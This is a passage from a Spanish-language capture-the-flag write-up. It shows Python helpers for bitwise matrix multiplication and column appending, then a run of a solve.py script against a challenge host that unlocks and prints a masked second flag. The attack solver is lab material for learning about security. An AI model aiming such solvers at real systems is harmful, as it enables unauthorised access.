z_mat[i][j] ^= x_mat[i][k] & y_mat[k][j]
return z_mat
def add_column(x_mat, y_vector):
z_mat = x_mat.copy()
for i in range(len(y_vector)):
z_mat[i].append(y_vector[i])
return z_mat
Finalmente, si ejecutamos el script, obtenemos la segunda flag:
$ python3 solve.py http://35.190.155.168/c33a5d03b6
Unlocked successfully. Flag: ^FLAG^xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx$FLAG$